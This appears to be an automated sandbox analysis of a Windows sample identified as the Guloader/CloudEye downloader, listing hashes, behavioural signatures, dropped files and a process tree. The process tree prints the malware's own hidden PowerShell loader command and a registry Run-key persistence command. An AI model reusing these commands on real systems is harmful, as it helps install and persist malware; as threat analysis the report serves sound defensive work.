Analysis
-
max time kernel
154s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
-
submitted
16-04-2024 07:22
General
-
Target
2024041342836038.exe
-
Size
785KB
-
MD5
2c430d35e36d912bda726e384615c0e7
-
SHA1
84793fbd7b355eae708f3fbb654b6f67c468effb
-
SHA256
c5e3dc39412f2f8efb97c3c6bcdc235727caf646ee2ac7c23e77c11ce0783e15
-
SHA512
5fe11156b4c016272941a92deb0ceacc0db13677bc14e2353b118fe9fcb58f7f2f609dd776f5cee2e99b4e7ad29b7dcc0fc183ceb9addf26c0348b2be87caca1
-
SSDEEP
12288:TOyBItc6c4ASOSjM0rp7Z3lYFNiooPsND1kz7FgCa2+mSP2iYZ367TCIhhDu:5W2zuOSjrrpxG9oETe7iCa2LUnCyh
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 24 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2024041342836038.exe"C:\Users\Admin\AppData\Local\Temp\2024041342836038.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Mantegar198=Get-Content 'C:\Users\Admin\AppData\Local\adenomyoma\Wheateared215\Warrantably\Sumless\Estragon\proctorrhaphy\Mukkerts\Cadaverousness.Ove';$Agaces=$Mantegar198.SubString(17941,3);.$Agaces($Mantegar198)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Sklmeriernes100.exe"C:\Users\Admin\AppData\Local\Temp\Sklmeriernes100.exe"3⤵
- Checks computer location settings
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unascendant" /t REG_EXPAND_SZ /d "%Linkeditted166% -windowstyle minimized $Interplical=(Get-ItemProperty -Path 'HKCU:\Inexpungeable\').Piloteret;%Linkeditted166% ($Interplical)"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Unascendant" /t REG_EXPAND_SZ /d "%Linkeditted166% -windowstyle minimized $Interplical=(Get-ItemProperty -Path 'HKCU:\Inexpungeable\').Piloteret;%Linkeditted166% ($Interplical)"5⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3644 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
5KB
MD5a5fd5bb479150881ed350f9fa758bb15
SHA1ffa55bb6a77fca54eccfc1badc872ebde69b67be
SHA256f4b7bd6ffc472858b786635fc3d2c053025c6ef8e121894785a2f997ad76e16b
SHA512d0b4d17dc35253f6b355bfd8910123196f91711a19f888c12b997a84a8025b1bc7ed9913278191c361f7a268924f369877f2d068b8d6a889174a866c5d0c1e12
-
Filesize
4KB
MD55cf209df87b3c5e455b5b2b326438ad9
SHA147e8dc726c0a49c0b53a1fba4e03af4bccda003a
SHA256b665b4fd4c9de7a4ee54c720f5b607ca0744c9c69990a741428b469388862f29
SHA51248e71c3a463e59cd7367be708d4e964a6f766ea7258e3088cef7a6550ed34223967e552f3c2d22719dcd86752b5ba165cc54a78a90be44f6725a26dde15d820a
-
Filesize
926B
MD56efa0a3372f15b5a87d686def49c74e7
SHA12e6c836316b0002dda8d04660d43b4b74d2ee77d
SHA256ae06f65c7aba2b455fb1cd5f059c35cfa0213e86749bc25d25b0fd22890493d0
SHA512b5bdde7d6c3817aa094eab32e3f44e8d4257430df3f20fb98303e5c7a9319e2dafcd6a8f14aa1a95ccc571e30a84f99c9d98207884aa0e4f73b829ca293a69cc
-
Filesize
6.5MB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
6.2MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
64KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
64KB
-
Filesize
600KB
-
Filesize
16KB
-
Filesize
136KB
-
Filesize
5.6MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
64KB
-
Filesize
216KB
-
Filesize
104KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
43.4MB
-
Filesize
43.4MB
-
Filesize
1.1MB
-
Filesize
43.4MB
-
Filesize
64KB
-
Filesize
4KB
-
Filesize
1.1MB
-
Filesize
43.4MB
-
Filesize
18.3MB
-
Filesize
18.3MB
-
Filesize
43.4MB
-
Filesize
18.3MB
-
Filesize
18.3MB
-
Filesize
18.3MB
-
Filesize
3.3MB
-
Filesize
18.3MB